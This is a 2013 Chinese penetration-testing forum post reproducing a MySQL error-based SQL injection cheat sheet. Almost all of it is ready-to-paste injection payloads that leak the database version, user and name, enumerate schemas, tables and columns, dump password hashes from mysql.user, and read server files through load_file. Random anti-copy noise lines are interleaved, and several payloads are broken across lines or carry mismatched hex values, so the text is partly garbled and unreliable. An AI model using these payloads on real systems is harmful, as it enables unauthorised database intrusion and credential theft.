中国网络渗透测试联盟
标题:
Mysql暴错注入参考（pdf）
[打印本页]
作者:
admin
时间:
2013-7-27 11:00
标题:
Mysql暴错注入参考（pdf）
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
: i; O, K6 k' K7 d) m. D
. R' S; M. l- b6 L; i
, ^- V, ~. [( e8 h* {- z) \
Mysql暴错注入参考（pdf），每天一贴。。。
: N1 ]2 T) P/ h: K
' u. I6 z* D K D
MySql Error Based Injection Reference
% q# [5 x) ]+ d; P% g$ k( H0 j7 |
[Mysql暴错注入参考]
( \' L. n8 G" m8 {
Authornig0s1992
, q% B& X+ B' l( W) y
Blog:
http://pnig0s1992.blog.51cto.com/
. K* {' p- y2 n2 l& _* ]
TeAm:
http://www.FreeBuf.com/
1 A4 o2 N+ O y
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
9 ` k/ \. k" Y, |5 v
小部分版本使用name_const()时会报错.可以用给出的Method.2测试
. x; l0 d( \$ \9 M& A7 n
查询版本:
9 F- j1 m2 v! K- ?
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
8 _$ b! p9 x4 C" }
join+(select+name_const(@@version,0))b)c)
9 w. {9 h& H+ z9 v w- y
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
" J" s. ~8 f+ ]* @
up by a)b)
) V; j+ v) S+ I3 j6 O* ^/ ? B
查询当前用户:
& |' y4 a1 |+ Q5 g- o7 f
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
( h$ D3 S; e# W( z6 e
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
; g( f8 K: w2 Y& a0 y
and(0)*2))x+from+information_schema.tables+group+by+x)a)
1 H. [' n$ ^; Z# K
查询当前数据库:
+ ?7 F3 H |$ `$ M* u! O
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
) |/ F/ z, W/ n; K
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
2 I' [/ o$ R: H: ^
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
$ Y/ t" i. P$ E2 P
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
' x( x9 s5 U: k" h; [
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
4 w* Z# y8 D2 s
顺序替换
! p) a& D0 w' [1 Q* T0 z$ M% h2 q
爆指定库数目:
% u1 u: r1 {) x9 Y. T
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
2 x9 q% }, [1 O; E6 O5 g1 G
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
u! O. _5 v! \
+by+x)a)+and+1=1 0x6D7973716C=mysql
) [+ F# k/ K: W% v) w( S8 {
依次爆表:
. n" j# J: A% x/ o+ ]: K6 p
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
- ?" r2 w4 {* ~% a
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
C. u# K1 v5 r2 c2 e- y
bles+group+by+x)a)+and+1=1
4 X1 r0 h3 [4 ]. Y3 d
0x6D7973716C=Mysql 将n顺序替换
$ b0 k- m1 g' e" ? u# [
爆表内字段数目:
7 O, u0 f; I( H7 p/ C
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
5 y" H' r' g9 X: h
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
4 X/ ^' W* {# \& m
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
. M' }9 ~& h9 x6 w7 V5 c
依次爆字段:
6 {- k, ^) d; N5 m! s: Q4 L
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
1 C+ h, Y8 w1 w# u5 d+ h
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
- U, Z- S$ k3 Z* u( @" {8 V; [
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换
9 ^& s& P% N' x$ H: X
依次暴内容:
7 O+ l/ ~& o6 j9 E2 W- @. o& [6 e
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
2 w, }1 {# Z+ y8 _* p
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
" `) ?' v- }* ^8 Y* |5 L5 S( K
将n顺序替换
& u, R, {8 I2 @) A7 M8 u1 c
爆文件内容:
# w% i' v6 Z. R0 _8 {
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
0 A5 m% X2 h4 n6 g
from+information_schema.tables+group+by+a)b)
$ K3 |. W: y7 X6 S. A
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
) s0 l a0 i6 p6 M* G0 a
Thx for reading.
5 ?$ j5 H( h8 S$ U. O& F
4 m( B. v/ W6 [6 S. a- H
不要下载也可以，
/ H# M4 G( Y1 Z' ~, N' s
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2